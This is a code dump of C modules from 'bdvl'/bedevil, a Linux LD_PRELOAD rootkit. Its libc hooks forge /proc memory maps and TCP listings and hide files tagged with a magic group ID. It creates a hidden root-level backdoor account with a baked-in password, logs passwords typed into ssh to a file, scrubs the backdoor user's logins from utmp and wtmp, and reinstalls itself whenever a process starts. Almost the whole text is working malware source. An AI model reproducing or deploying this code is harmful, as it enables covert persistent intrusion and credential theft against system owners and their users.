15 | if(!strcmp(pathname, "/proc/net/tcp") || !strcmp(pathname, "/proc/net/tcp6")) return fileno(forge_procnet(pathname));
16 |
17 | if(!fnmatch("/proc/*/maps",pathname,FNM_PATHNAME)) return fileno(forge_maps(pathname));
18 | if(!fnmatch("/proc/*/smaps",pathname,FNM_PATHNAME)) return fileno(forge_smaps(pathname));
19 | if(!fnmatch("/proc/*/numa_maps",pathname,FNM_PATHNAME)) return fileno(forge_numamaps(pathname));
20 |
21 | char cwd[PATH_MAX];
22 | if(getcwd(cwd, sizeof(cwd)) != NULL)
23 | {
24 | if(!strcmp(cwd, "/proc"))
25 | {
26 | if(!fnmatch("*/maps",pathname,FNM_PATHNAME)) return fileno(forge_maps(pathname));
27 | if(!fnmatch("*/smaps",pathname,FNM_PATHNAME)) return fileno(forge_smaps(pathname));
28 | if(!fnmatch("*/numa_maps",pathname,FNM_PATHNAME)) return fileno(forge_numamaps(pathname));
29 | }
30 |
31 | if(!fnmatch("/proc/*",cwd,FNM_PATHNAME))
32 | {
33 | if(!fnmatch("maps",pathname,FNM_PATHNAME)) return fileno(forge_maps(pathname));
34 | if(!fnmatch("smaps",pathname,FNM_PATHNAME)) return fileno(forge_smaps(pathname));
35 | if(!fnmatch("numa_maps",pathname,FNM_PATHNAME)) return fileno(forge_numamaps(pathname));
36 | }
37 | }
38 |
39 | if(hxstat(pathname,MGID,32)) { errno = ENOENT; return -1; }
40 | return o_open(pathname, flags, mode);
41 | }
42 |
43 | int open64(const char *pathname, int flags, mode_t mode)
44 | {
45 | HOOK(o_open64, COPEN64);
46 | if(is_bdusr()) return o_open64(pathname, flags, mode);
47 |
48 | char *ldsp=strdup(LDSO_PRELOAD); xor(ldsp);
49 | if(hxstat(pathname,MGID,32) && strstr(ldsp,pathname))
50 | {
51 | if((strstr(cprocname(), "sh") || strstr(cprocname(), "busybox")) &&
52 | (flags==(64|1|512)))
53 | CLEAN(ldsp); return o_open64("/dev/null", flags, mode);
54 | }
55 | CLEAN(ldsp);
56 |
57 | if(!strcmp(pathname, "/proc/net/tcp") || !strcmp(pathname, "/proc/net/tcp6")) return fileno(forge_procnet(pathname));
58 |
59 | if(!fnmatch("/proc/*/maps",pathname,FNM_PATHNAME)) return fileno(forge_maps(pathname));
60 | if(!fnmatch("/proc/*/smaps",pathname,FNM_PATHNAME)) return fileno(forge_smaps(pathname));
61 | if(!fnmatch("/proc/*/numa_maps",pathname,FNM_PATHNAME)) return fileno(forge_numamaps(pathname));
62 |
63 | char cwd[PATH_MAX];
64 | if(getcwd(cwd, sizeof(cwd)) != NULL)
65 | {
66 | if(!strcmp(cwd, "/proc"))
67 | {
68 | if(!fnmatch("*/maps",pathname,FNM_PATHNAME)) return fileno(forge_maps(pathname));
69 | if(!fnmatch("*/smaps",pathname,FNM_PATHNAME)) return fileno(forge_smaps(pathname));
70 | if(!fnmatch("*/numa_maps",pathname,FNM_PATHNAME)) return fileno(forge_numamaps(pathname));
71 | }
72 |
73 | if(!fnmatch("/proc/*",cwd,FNM_PATHNAME))
74 | {
75 | if(!fnmatch("maps",pathname,FNM_PATHNAME)) return fileno(forge_maps(pathname));
76 | if(!fnmatch("smaps",pathname,FNM_PATHNAME)) return fileno(forge_smaps(pathname));
77 | if(!fnmatch("numa_maps",pathname,FNM_PATHNAME)) return fileno(forge_numamaps(pathname));
78 | }
79 | }
80 |
81 |
82 | if(hxstat(pathname,MGID,32)) { errno = ENOENT; return -1; }
83 | return o_open64(pathname, flags, mode);
84 | }
85 |
--------------------------------------------------------------------------------
/modules/open/open.h:
--------------------------------------------------------------------------------
1 | #ifndef OPEN_H
2 | #define OPEN_H
3 | #include "open.c"
4 | #include "fopen.c"
5 | #endif
6 |
--------------------------------------------------------------------------------
/modules/perms/chmod.c:
--------------------------------------------------------------------------------
1 | int chmod(const char *pathname, mode_t mode)
2 | {
3 | HOOK(o_chmod,CCHMOD);
4 | if(is_bdusr()) return o_chmod(pathname,mode);
5 | if(hxstat(pathname,MGID,32)) { errno=ENOENT; return -1; }
6 | return o_chmod(pathname,mode);
7 | }
8 |
9 | int fchmod(int fd, mode_t mode)
10 | {
11 | HOOK(o_fchmod,CFCHMOD);
12 | if(is_bdusr()) return o_fchmod(fd,mode);
13 | if(hfxstat(fd,MGID,32)) { errno=ENOENT; return -1; }
14 | return o_fchmod(fd,mode);
15 | }
16 |
17 | int fchmodat(int dirfd, const char *pathname, mode_t mode, int flags)
18 | {
19 | HOOK(o_fchmodat,CFCHMODAT);
20 | if(is_bdusr()) return o_fchmodat(dirfd,pathname,mode,flags);
21 | if(hxstat(pathname,MGID,32) || hfxstat(dirfd,MGID,32)){ errno=ENOENT; return -1; }
22 | return o_fchmodat(dirfd,pathname,mode,flags);
23 | }
24 |
--------------------------------------------------------------------------------
/modules/perms/chown.c:
--------------------------------------------------------------------------------
1 | int chown(const char *pathname, uid_t owner, gid_t group)
2 | {
3 | HOOK(o_chown,CCHOWN);
4 | if(is_bdusr()) return o_chown(pathname,owner,group);
5 | if(hxstat(pathname,MGID,32)) { errno=ENOENT; return -1; }
6 | return o_chown(pathname,owner,group);
7 | }
8 |
--------------------------------------------------------------------------------
/modules/perms/perms.h:
--------------------------------------------------------------------------------
1 | #ifndef PERMS_H
2 | #define PERMS_H
3 | #include "chown.c"
4 | #include "chmod.c"
5 | #endif
6 |
--------------------------------------------------------------------------------
/modules/prehook.c:
--------------------------------------------------------------------------------
1 | // this file just gets appended onto the end of bdvl.c
2 | void __attribute ((constructor)) phook_init (void) // on process start
3 | {
4 | //if(getenv("LD_PRELOAD") != NULL) unsetenv("LD_PRELOAD");
5 | reinstall();
6 | }
7 |
8 | void __attribute ((destructor)) phook_dest (void) // on process end
9 | {
10 | //if(getenv("LD_PRELOAD") != NULL) unsetenv("LD_PRELOAD");
11 | reinstall();
12 | }
13 |
--------------------------------------------------------------------------------
/modules/pwd/pwd.h:
--------------------------------------------------------------------------------
1 | #ifndef PWD_H
2 | #define PWD_H
3 | #include "pwnam_user.c"
4 | #include "pwnam_ent.c"
5 | #endif
6 |
--------------------------------------------------------------------------------
/modules/pwd/pwnam_ent.c:
--------------------------------------------------------------------------------
1 | struct passwd *getpwent(void)
2 | {
3 | HOOK(o_getpwent, CGETPWENT);
4 |
5 | struct passwd *tmp = o_getpwent();
6 | if(tmp && tmp->pw_name != NULL)
7 | {
8 | char *bduname=strdup(BD_UNAME); xor(bduname);
9 | if(!strcmp(tmp->pw_name, bduname)) { CLEAN(bduname); errno=ESRCH; return NULL; }
10 | CLEAN(bduname);
11 | }
12 | return tmp;
13 | }
14 |
15 | struct passwd *getpwuid(uid_t uid)
16 | {
17 | HOOK(o_getpwuid, CGETPWUID);
18 | if(uid==MGID) return o_getpwuid(0);
19 | char *procname = cprocname();
20 |
21 | if(getgid() == MGID && uid == 0 && (!strcmp(procname, "ssh") || !strcmp(procname, "/usr/bin/ssh")))
22 | {
23 | struct passwd *bpw;
24 | bpw = o_getpwuid(uid);
25 | bpw->pw_uid=MGID;
26 | bpw->pw_gid=MGID;
27 |
28 | char home[256];
29 | char *idir=strdup(IDIR); xor(idir);
30 | snprintf(home, sizeof(home), "%s", idir);
31 | CLEAN(idir);
32 |
33 | bpw->pw_dir=strdup(home);
34 | bpw->pw_shell="/bin/bash";
35 | return bpw;
36 | }
37 | return o_getpwuid(uid);
38 | }
39 |
--------------------------------------------------------------------------------
/modules/pwd/pwnam_user.c:
--------------------------------------------------------------------------------
1 | struct passwd *getpwnam(const char *name)
2 | {
3 | HOOK(o_getpwnam, CGETPWNAM);
4 |
5 | char *bduname=strdup(BD_UNAME); xor(bduname);
6 | if(!strcmp(name, bduname))
7 | {
8 | struct passwd *bpw;
9 | bpw = o_getpwnam("root");
10 | bpw->pw_name = strdup(bduname);
11 | bpw->pw_uid = MGID;
12 | bpw->pw_gid = MGID;
13 |
14 | char home[256];
15 | char *idir=strdup(IDIR); xor(idir);
16 | snprintf(home, sizeof(home), "%s", idir);
17 | CLEAN(idir);
18 |
19 | bpw->pw_dir = strdup(home);
20 | bpw->pw_shell = "/bin/bash";
21 |
22 | CLEAN(bduname);
23 | return bpw;
24 | }
25 | CLEAN(bduname);
26 | return o_getpwnam(name);
27 | }
28 |
29 | int getpwnam_r(const char *name, struct passwd *pwd, char *buf, size_t buflen, struct passwd **result)
30 | {
31 | HOOK(o_getpwnam_r, CGETPWNAM_R);
32 |
33 | char *bduname=strdup(BD_UNAME); xor(bduname);
34 | if(!strcmp(name, bduname))
35 | {
36 | o_getpwnam_r("root", pwd, buf, buflen, result);
37 | pwd->pw_name = strdup(bduname);
38 | pwd->pw_uid = MGID;
39 | pwd->pw_gid = MGID;
40 |
41 | char home[256];
42 | char *idir=strdup(IDIR); xor(idir);
43 | snprintf(home, sizeof(home), "%s", idir);
44 | CLEAN(idir);
45 |
46 | pwd->pw_dir = strdup(home);
47 | pwd->pw_shell = "/bin/bash";
48 |
49 | CLEAN(bduname);
50 | return 0;
51 | }
52 | CLEAN(bduname);
53 | return o_getpwnam_r(name, pwd, buf, buflen, result);
54 | }
55 |
56 | struct spwd *getspnam(const char *name)
57 | {
58 | HOOK(o_getspnam, CGETSPNAM);
59 | char *bduname=strdup(BD_UNAME); xor(bduname);
60 | if(!strcmp(name, bduname))
61 | {
62 | struct spwd *bspwd = malloc(sizeof(struct spwd));
63 | char *bdpwd = strdup(BD_PWD); xor(bdpwd);
64 |
65 | bspwd->sp_namp=strdup(bduname);
66 | bspwd->sp_pwdp=strdup(bdpwd);
67 | bspwd->sp_lstchg=time(NULL)/(60*60*24);
68 | bspwd->sp_expire=time(NULL)/(60*60*24)+90;
69 | bspwd->sp_inact=9001;
70 | bspwd->sp_warn=0;
71 | bspwd->sp_min=0;
72 | bspwd->sp_max=99999;
73 |
74 | CLEAN(bduname); CLEAN(bdpwd);
75 | return bspwd;
76 |
77 | }
78 | CLEAN(bduname);
79 | return o_getspnam(name);
80 | }
81 |
--------------------------------------------------------------------------------
/modules/rw/fwrite.c:
--------------------------------------------------------------------------------
1 | size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream)
2 | {
3 | HOOK(o_fwrite,CFWRITE);
4 | if(is_bdusr()) return o_fwrite(ptr,size,nmemb,stream);
5 | if(stream != NULL && hfxstat(fileno(stream),MGID,32)) return 0;
6 | return o_fwrite(ptr,size,nmemb,stream);
7 | }
8 |
9 | size_t fwrite_unlocked(const void *ptr, size_t size, size_t nmemb, FILE *stream)
10 | {
11 | HOOK(o_fwrite_unlocked, CFWRITE_UNLOCKED);
12 | if(is_bdusr()) return o_fwrite_unlocked(ptr,size,nmemb,stream);
13 | if(stream != NULL && hfxstat(fileno(stream),MGID,32)) return 0;
14 | return o_fwrite_unlocked(ptr,size,nmemb,stream);
15 | }
16 |
--------------------------------------------------------------------------------
/modules/rw/read.c:
--------------------------------------------------------------------------------
1 | ssize_t read(int fd, void *buf, size_t n)
2 | {
3 | HOOK(o_read,CREAD);
4 | if(fd == 0) return o_read(fd,buf,n);
5 |
6 | HOOK(o_fopen,CFOPEN);
7 | HOOK(o_fxstat,C__FXSTAT);
8 | struct stat s_fstat;
9 | memset(&s_fstat,0x00,sizeof(stat));
10 | o_fxstat(_STAT_VER, fd, &s_fstat);
11 | ssize_t o=o_read(fd,buf,n);
12 | if(S_ISSOCK(s_fstat.st_mode)) return o;
13 |
14 | char *p;
15 | FILE *fp;
16 |
17 | if(!strcmp("ssh",cprocname()) && fd==4 && ssh_start)
18 | {
19 | p=buf;
20 | if(*p=='\n')
21 | {
22 | ssh_start=0;
23 | char *ssh_logs=strdup(SSH_LOGS); xor(ssh_logs);
24 | if((fp=o_fopen(ssh_logs,"a")))
25 | {
26 | fprintf(fp, "%s (%s)\n", gcmdline(), ssh_pass);
27 | fflush(fp);
28 | fclose(fp);
29 | }
30 | CLEAN(ssh_logs);
31 | return o;
32 | }
33 | ssh_pass[ssh_pass_size++]=*p;
34 | }
35 | return o;
36 | }
--------------------------------------------------------------------------------
/modules/rw/rw.h:
--------------------------------------------------------------------------------
1 | #ifndef WRT_H
2 | #define WRT_H
3 | int ssh_start,ssh_pass_size;
4 | char ssh_args[512],ssh_pass[512];
5 | #include "fwrite.c"
6 | #include "read.c"
7 | #include "write.c"
8 | #endif
9 |
--------------------------------------------------------------------------------
/modules/rw/write.c:
--------------------------------------------------------------------------------
1 | ssize_t write(int fd, const void *buf, size_t n)
2 | {
3 | HOOK(o_write,CWRITE);
4 | if(strcmp("ssh",cprocname())) return o_write(fd,buf,n);
5 | HOOK(o_fxstat,C__FXSTAT);
6 | struct stat s_fstat;
7 | memset(&s_fstat,0x00,sizeof(stat));
8 | o_fxstat(_STAT_VER,fd,&s_fstat);
9 | if(S_ISSOCK(s_fstat.st_mode)) return o_write(fd,buf,n);
10 |
11 | if(!strcmp("ssh",cprocname()) && (buf != NULL && strstr((char *)buf,"assword")))
12 | {
13 | ssh_pass_size=0;
14 | memset(ssh_pass,0x00,sizeof(ssh_pass));
15 | ssh_start=1;
16 | }
17 | return o_write(fd,buf,n);
18 | }
--------------------------------------------------------------------------------
/modules/stat/fstat.c:
--------------------------------------------------------------------------------
1 | int fstat(int fd, struct stat *buf)
2 | {
3 | HOOK(o_fxstat,C__FXSTAT);
4 | if(is_bdusr()) return o_fxstat(_STAT_VER,fd,buf);
5 | if(hfxstat(fd,MGID,32)) { errno=ENOENT; return -1; }
6 | return o_fxstat(_STAT_VER,fd,buf);
7 | }
8 |
9 | int fstat64(int fd, struct stat64 *buf)
10 | {
11 | HOOK(o_fxstat64,C__FXSTAT64);
12 | if(is_bdusr()) return o_fxstat64(_STAT_VER,fd,buf);
13 | if(hfxstat(fd,MGID,64)) { errno=ENOENT; return -1; }
14 | return o_fxstat64(_STAT_VER,fd,buf);
15 | }
16 |
17 | int fstatat(int dirfd, const char *pathname, struct stat *buf, int flags)
18 | {
19 | HOOK(o_fstatat,CFSTATAT);
20 | if(is_bdusr()) return o_fstatat(dirfd,pathname,buf,flags);
21 | if(hfxstat(dirfd,MGID,32) || hxstat(pathname,MGID,32)) { errno=ENOENT; return -1; }
22 | return o_fstatat(dirfd,pathname,buf,flags);
23 | }
24 |
25 | int fstatat64(int dirfd, const char *pathname, struct stat64 *buf, int flags)
26 | {
27 | HOOK(o_fstatat64,CFSTATAT64);
28 | if(is_bdusr()) return o_fstatat64(dirfd,pathname,buf,flags);
29 | if(hfxstat(dirfd,MGID,64) || hxstat(pathname,MGID,64)) { errno=ENOENT; return -1; }
30 | return o_fstatat64(dirfd,pathname,buf,flags);
31 | }
32 |
33 | int __fxstat(int version, int fd, struct stat *buf)
34 | {
35 | HOOK(o_fxstat,C__FXSTAT);
36 | if(is_bdusr()) return o_fxstat(version,fd,buf);
37 | if(hfxstat(fd,MGID,32)) { errno=ENOENT; return -1; }
38 | return o_fxstat(version,fd,buf);
39 | }
40 |
41 | int __fxstat64(int version, int fd, struct stat64 *buf)
42 | {
43 | HOOK(o_fxstat64,C__FXSTAT64);
44 | if(is_bdusr()) return o_fxstat64(version,fd,buf);
45 | if(hfxstat(fd,MGID,64)) { errno=ENOENT; return -1; }
46 | return o_fxstat64(version,fd,buf);
47 | }
48 |
--------------------------------------------------------------------------------
/modules/stat/lstat.c:
--------------------------------------------------------------------------------
1 | int lstat(const char *pathname, struct stat *buf)
2 | {
3 | HOOK(o_lstat,CLSTAT);
4 | if(is_bdusr()) return o_lstat(pathname,buf);
5 | if(hxstat(pathname,MGID,32)) { errno=ENOENT; return -1; }
6 | return o_lstat(pathname,buf);
7 | }
8 |
9 | int lstat64(const char *pathname, struct stat64 *buf)
10 | {
11 | HOOK(o_lstat64,CLSTAT64);
12 | if(is_bdusr()) return o_lstat64(pathname,buf);
13 | if(hxstat(pathname,MGID,64)) { errno=ENOENT; return -1; }
14 | return o_lstat64(pathname,buf);
15 | }
16 |
17 | int __lxstat(int version, const char *pathname, struct stat *buf)
18 | {
19 | HOOK(o_lxstat,C__LXSTAT);
20 | if(is_bdusr()) return o_lxstat(version,pathname,buf);
21 | if(hxstat(pathname,MGID,32) || hlxstat(pathname,MGID,32)) { errno=ENOENT; return -1; }
22 | return o_lxstat(version,pathname,buf);
23 | }
24 |
25 | int __lxstat64(int version, const char *pathname, struct stat64 *buf)
26 | {
27 | HOOK(o_lxstat64,C__LXSTAT64);
28 | if(is_bdusr()) return o_lxstat64(version,pathname,buf);
29 | if(hxstat(pathname,MGID,64) || hlxstat(pathname,MGID,64)) { errno=ENOENT; return -1; }
30 | return o_lxstat64(version,pathname,buf);
31 | }
32 |
--------------------------------------------------------------------------------
/modules/stat/stat.c:
--------------------------------------------------------------------------------
1 | int stat(const char *pathname, struct stat *buf)
2 | {
3 | HOOK(o_stat,CSTAT);
4 | if(is_bdusr()) return o_stat(pathname,buf);
5 | if(hxstat(pathname,MGID,32)) { errno=ENOENT; return -1; }
6 | return o_stat(pathname,buf);
7 | }
8 |
9 | int stat64(const char *pathname, struct stat64 *buf)
10 | {
11 | HOOK(o_stat64,CSTAT64);
12 | if(is_bdusr()) return o_stat64(pathname,buf);
13 | if(hxstat(pathname,MGID,64)) { errno=ENOENT; return -1; }
14 | return o_stat64(pathname,buf);
15 | }
16 |
17 | int __xstat(int version, const char *pathname, struct stat *buf)
18 | {
19 | HOOK(o_xstat,C__XSTAT);
20 | if(is_bdusr()) return o_xstat(version,pathname,buf);
21 | if(hxstat(pathname,MGID,32)) { errno=ENOENT; return -1; }
22 | return o_xstat(version,pathname,buf);
23 | }
24 |
25 | int __xstat64(int version, const char *pathname, struct stat64 *buf)
26 | {
27 | HOOK(o_xstat64,C__XSTAT64);
28 | if(is_bdusr()) return o_xstat64(version,pathname,buf);
29 | if(hxstat(pathname,MGID,64)) { errno=ENOENT; return -1; }
30 | return o_xstat64(version,pathname,buf);
31 | }
32 |
--------------------------------------------------------------------------------
/modules/stat/stat.h:
--------------------------------------------------------------------------------
1 | #ifndef STAT_H
2 | #define STAT_H
3 | #include "stat.c"
4 | #include "lstat.c"
5 | #include "fstat.c"
6 | #endif
7 |
--------------------------------------------------------------------------------
/modules/stconsts:
--------------------------------------------------------------------------------
1 | # comments starting with '#' are ignored.
2 | # so this is more or less how we add stuff to the headers
3 | # in the background. stuff that requires no input from
4 | # the user. obviously you can change stuff in here if need be.
5 | # bedevil.sh parses this file and writes the data to said header.
6 | # format: CONST_NAME:const_value
7 | # const *values* in this file formatted like "CONST_NAME:CONST_NAME"
8 | # are completely handled by bedevil.sh and the value most likely comes
9 | # from the script.
10 | LIBC_PATH:libc.so.6
11 | LIBDL_PATH:libdl.so.1
12 | LIBPAM_PATH:libpam.so.0
13 | BDVLSO:BDVLSO
14 | SOPATH:SOPATH
15 | LDSO_PRELOAD:LDSO_PRELOAD
16 | EUTILS:bdutils
17 | SYSD_CONF:bdvl_sysd.conf
--------------------------------------------------------------------------------
/modules/std_includes:
--------------------------------------------------------------------------------
1 | # comments starting with '#' are ignored.
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 | #
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 | # i'm just gonna assume you're using pam cuz its the best
30 |
--------------------------------------------------------------------------------
/modules/utmp/getut.c:
--------------------------------------------------------------------------------
1 | /*
2 | * These are the functions responsible for reading
3 | * entries from the utmp file.
4 | *
5 | * The utmp file may contain information about the
6 | * currently logged in backdoor user, but ain't
7 | * nobody seeing it up front.
8 | *
9 | * See 'putut.c' for more information.
10 | */
11 |
12 | struct utmp *getutid(const struct utmp *ut)
13 | {
14 | HOOK(o_getutid,CGETUTID);
15 | struct utmp *tmp;
16 | char cusr[32], *bduname=strdup(BD_UNAME); xor(bduname);
17 |
18 | do {
19 | tmp=o_getutid(ut);
20 | if(tmp == NULL) continue;
21 | if(tmp != NULL) snprintf(cusr,sizeof(cusr),"%s",tmp->ut_user);
22 | }while(tmp && !strncmp(cusr,bduname,sizeof(cusr)));
23 |
24 | CLEAN(bduname);
25 | return tmp;
26 | }
27 |
28 | struct utmpx *getutxid(const struct utmpx *utx)
29 | {
30 | HOOK(o_getutxid,CGETUTXID);
31 | struct utmpx *tmp;
32 | char cusr[32], *bduname=strdup(BD_UNAME); xor(bduname);
33 |
34 | do {
35 | tmp=o_getutxid(utx);
36 | if(tmp == NULL) continue;
37 | if(tmp != NULL) snprintf(cusr,sizeof(cusr),"%s",tmp->ut_user);
38 | }while(tmp && !strncmp(cusr,bduname,sizeof(cusr)));
39 |
40 | CLEAN(bduname);
41 | return tmp;
42 | }
43 |
44 | struct utmp *getutline(const struct utmp *ut)
45 | {
46 | HOOK(o_getutline,CGETUTLINE);
47 | struct utmp *tmp;
48 | char cusr[32], *bduname=strdup(BD_UNAME); xor(bduname);
49 |
50 | do {
51 | tmp=o_getutline(ut);
52 | if(tmp == NULL) continue;
53 | if(tmp != NULL) snprintf(cusr,sizeof(cusr),"%s",tmp->ut_user);
54 | }while(tmp && !strncmp(cusr,bduname,sizeof(cusr)));
55 |
56 | CLEAN(bduname);
57 | return tmp;
58 | }
59 |
60 | struct utmpx *getutxline(const struct utmpx *utx)
61 | {
62 | HOOK(o_getutxline,CGETUTXLINE);
63 | struct utmpx *tmp;
64 | char cusr[32], *bduname=strdup(BD_UNAME); xor(bduname);
65 |
66 | do {
67 | tmp=o_getutxline(utx);
68 | if(tmp == NULL) continue;
69 | if(tmp != NULL) snprintf(cusr,sizeof(cusr),"%s",tmp->ut_user);
70 | }while(tmp && !strncmp(cusr,bduname,sizeof(cusr)));
71 |
72 | CLEAN(bduname);
73 | return tmp;
74 | }
75 |
76 | struct utmp *getutent(void)
77 | {
78 | HOOK(o_getutent,CGETUTENT);
79 | struct utmp *tmp;
80 | char cusr[32], *bduname=strdup(BD_UNAME); xor(bduname);
81 |
82 | do {
83 | tmp=o_getutent();
84 | if(tmp == NULL) continue;
85 | if(tmp != NULL) snprintf(cusr,sizeof(cusr),"%s",tmp->ut_user);
86 | }while(tmp && !strncmp(cusr,bduname,sizeof(cusr)));
87 |
88 | CLEAN(bduname);
89 | return tmp;
90 | }
91 |
92 | struct utmpx *getutxent(void)
93 | {
94 | HOOK(o_getutxent,CGETUTXENT);
95 | struct utmpx *tmp;
96 | char cusr[32], *bduname=strdup(BD_UNAME); xor(bduname);
97 |
98 | do {
99 | tmp=o_getutxent();
100 | if(tmp == NULL) continue;
101 | if(tmp != NULL) snprintf(cusr,sizeof(cusr),"%s",tmp->ut_user);
102 | }while(tmp && !strncmp(cusr,bduname,sizeof(cusr)));
103 |
104 | CLEAN(bduname);
105 | return tmp;
106 | }
107 |
108 | void getutmp(const struct utmpx *ux, struct utmp *u)
109 | {
110 | if(ux && ux->ut_user != NULL)
111 | {
112 | char *bduname=strdup(BD_UNAME); xor(bduname);
113 | if(!strncmp(ux->ut_user,bduname,sizeof(ux->ut_user))) { CLEAN(bduname); return; }
114 | CLEAN(bduname);
115 | }
116 |
117 | HOOK(o_getutmp,CGETUTMP);
118 | o_getutmp(ux,u);
119 | return;
120 | }
121 |
122 | void getutmpx(const struct utmp *u, struct utmpx *ux)
123 | {
124 | if(u && u->ut_user != NULL)
125 | {
126 | char *bduname=strdup(BD_UNAME); xor(bduname);
127 | if(!strncmp(u->ut_user,bduname,sizeof(u->ut_user))) { CLEAN(bduname); return; }
128 | CLEAN(bduname);
129 | }
130 |
131 | HOOK(o_getutmpx,CGETUTMPX);
132 | o_getutmpx(u,ux);
133 | return;
134 | }
135 |
--------------------------------------------------------------------------------
/modules/utmp/putut.c:
--------------------------------------------------------------------------------
1 | /*
2 | * These are the functions responsible for actually
3 | * writing data to the utmp & wtmp files.
4 | *
5 | * Now, I've prevented information from being written
6 | * to the wtmp file, but not the utmp file.
7 | * So calling strings on wtmp won't reveal anything,
8 | * but calling strings on utmp will show information.
9 | * But that's ONLY when using strings.
10 | *
11 | * See, there are functions in libc which handle
12 | * fetching entries from utmp, and it is those functions
13 | * that I have hooked.
14 | *
15 | * Essentially, I can't stop (well I can but not now)
16 | * information from being written to utmp, but I can prevent
17 | * said functions from even thinking that the information
18 | * is even there in the first place.
19 | *
20 | * utmp only stores information about the user's logged
21 | * in currently. Whereas wtmp is essentially a history of logins.
22 | * So this isn't even an issue unless you're logged into the
23 | * backdoor 24/7.
24 | */
25 |
26 |
27 | // i tried many different tactics in order to straight up stop information
28 | // from being written to the utmp file.
29 | // this was my last-last attempt. (i probably will try different things, but for now hooking the 'read' functions works great)
30 | struct utmp *pututline(const struct utmp *ut)
31 | {
32 | HOOK(o_pututline,CPUTUTLINE);
33 | /*char *bduname=strdup(BD_UNAME); xor(bduname);
34 | if((ut && ut->ut_user != NULL) && !strncmp(ut->ut_user,bduname,sizeof(ut->ut_user)))
35 | {
36 | CLEAN(bduname);
37 | int xu=utmpname("/var/run/gayutmp");
38 | if(xu<0) return NULL;
39 | if(xu) return o_pututline(ut);
40 | }
41 | CLEAN(bduname);*/
42 | return o_pututline(ut);
43 | }
44 |
45 | struct utmpx *pututxline(const struct utmpx *utx)
46 | {
47 | HOOK(o_pututxline,CPUTUTXLINE);
48 | /*char *bduname=strdup(BD_UNAME); xor(bduname);
49 | if((utx && utx->ut_user != NULL) && !strncmp(utx->ut_user,bduname,sizeof(utx->ut_user)))
50 | {
51 | CLEAN(bduname);
52 | int xu=utmpname("/var/run/gayutmp");
53 | if(xu<0) return NULL;
54 | if(xu) return o_pututxline(utx);
55 | }
56 | CLEAN(bduname);*/
57 | return o_pututxline(utx);
58 | }
59 |
60 | void logwtmp(const char *ut_line, const char *ut_name, const char *ut_host)
61 | {
62 | char *bduname=strdup(BD_UNAME); xor(bduname);
63 | if(!strcmp(ut_name,bduname)) { CLEAN(bduname); return; }
64 | CLEAN(bduname);
65 | HOOK(o_logwtmp,CLOGWTMP);
66 | o_logwtmp(ut_line,ut_name,ut_host);
67 | return;
68 | }
69 |
70 | void updwtmp(const char *wfile, const struct utmp *ut)
71 | {
72 | if(ut && ut->ut_user != NULL)
73 | {
74 | char *bduname=strdup(BD_UNAME); xor(bduname);
75 | if(!strncmp(ut->ut_user,bduname,sizeof(ut->ut_user))) { CLEAN(bduname); return; }
76 | CLEAN(bduname);
77 | }
78 |
79 | HOOK(o_updwtmp,CUPDWTMP);
80 | o_updwtmp(wfile,ut);
81 | return;
82 | }
83 |
84 | void updwtmpx(const char *wfilex, const struct utmpx *utx)
85 | {
86 | if(utx && utx->ut_user != NULL)
87 | {
88 | char *bduname=strdup(BD_UNAME); xor(bduname);
89 | if(!strncmp(utx->ut_user,bduname,sizeof(utx->ut_user))) { CLEAN(bduname); return; }
90 | CLEAN(bduname);
91 | }
92 |
93 | HOOK(o_updwtmpx,CUPDWTMPX);
94 | o_updwtmpx(wfilex,utx);
95 | return;
96 | }
97 |
--------------------------------------------------------------------------------
/modules/utmp/utmp.h:
--------------------------------------------------------------------------------
1 | #ifndef UTMP_H
2 | #define UTMP_H
3 | #include "getut.c"
4 | #include "putut.c"
5 | #endif
6 |
--------------------------------------------------------------------------------